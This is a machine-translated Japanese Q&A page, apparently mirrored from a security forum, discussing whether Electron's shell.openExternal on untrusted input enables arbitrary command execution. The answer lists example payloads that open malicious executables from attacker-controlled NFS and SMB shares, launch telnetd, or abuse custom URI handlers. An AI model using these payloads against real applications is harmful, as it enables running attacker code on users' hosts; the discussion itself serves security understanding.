web-dev-qa-db-ja.com

信頼できないコンテンツに対するElectronの「Shell.openExternal」の危険性

信頼できないコンテンツで_Shell.openExternal_を実行することの実際の危険性に興味があります。 Documentation は、これがRCEに利用できることを具体的に述べています。

OpenExternalの不適切な使用は、ユーザーのホストを危険にさらすために利用できます。信頼できないコンテンツでopenExternalを使用すると、任意のコマンドを実行するために利用できます。

Calculatorアプリケーションをポップオープンするか、テキストエディターで_/etc/passwd_を開くことにより、RCEを持っているというこのオンライン主張について私が見つけることができるすべてのレポート。しかし、これらは実際にはリモートでコードが実行されることはありません。はい、RCEの脆弱性は電卓アプリをポップオープンすることによってPoCされることがよくありますが、電卓アプリをポップオープンすることはRCEを持っていることを意味しません。デフォルトアプリケーションの被害者のファイルシステムにすでに存在します。この機能を使用してユーザーのホストを危険にさらす方法はわかりません。actualRCEの悪用または脆弱性の例をまだ見つけていません信頼できないコンテンツに対して_Shell.openExternal_を実行したために発生しました。

ドキュメントと実験から、_Shell.openExternal_は、システムが通常それを実行するために使用するアプリケーションのURL、ファイル、またはバイナリを本質的に開くことによって機能するようです。引数を渡すことはできないため、シェルを呼び出すことは特に役に立ちません。私の知る限りでは、これをactualRCEに悪用するには、まず悪意のあるバイナリをターゲットのファイルシステムの予測可能な場所にドロップする必要があります。悪意のあるバイナリをインターネットにアップロードし、URLを介してポイントすることは機能しないことに注意してください。ブラウザが開いてダウンロード用のファイルが提供されるだけです。

それでは、valueを制御するShell.openExternal(value);を呼び出すelectronアプリを実行しているとしましょう。私のマシンで任意のコード/コマンドをどのように実行しますか?

1
Mala

「リモートコード実行」(RCE)という用語の解釈が原因で混乱が生じたと思います。この用語は、攻撃者が任意のコードを実行することを可能にするcriticalソフトウェアの脆弱性のさまざまなクラスを(おそらく口語で)記述するために使用されますまたは脆弱なシステムでのコマンド。特定の脆弱性は、メモリ破損のバグ、論理エラー、不十分なソフトウェア開発プラクティス、または上記の組み合わせの結果である可能性があります。

質問で説明されているような脆弱性により、「任意のコマンド実行」が可能になります。これらは、Webアプリケーションのセキュリティにおける「コマンドインジェクション」の脆弱性とも呼ばれます。この場合、実行されているのは文字どおり「リモート」コードではないという主張は正しいですが、攻撃者は依然としてシステム上で潜在的に任意のコマンドを実行できます。攻撃者がプログラムの命令フローを乗っ取り、独自のシェルコードを実行する可能性のあるメモリ破損バグほど派手ではありませんが、攻撃者はopenExternalの性質による以外は制限されていないため、依然として重要です関数。

この脆弱性を利用して攻撃者が実行できることの例をいくつか示します。

# Sure, harmless enough   
Shell.openExternal('file:///Applications/Calculator.app')
# What if you provide a file URI to a network share that contains a malicious app?
Shell.openExternal('file://net/203.0.113.0/nfs/evil/malicious.app')
# Or SMB share?
Shell.openExternal('\\203.0.113.0\evil\malicious.exe')
# Maybe in some cases it is bad enough to just run a program with no arguments? (Rough example)
Shell.openExternal('file:///bin/telnetd')
# Or maybe it could be combined with some kind of file upload to use an attacker's uploaded file.

さらに、一部のアプリはx-custom-app://などのカスタムURIプロトコルハンドラーを登録する場合があり、攻撃者がアプリを開いて、サポートするコマンド/データを提供する可能性があります。

openExternalを使用したバグ報奨金の書き込みをオンラインで検索することをお勧めします。ここに私が見つけたものがあります:

1
multithr3at3d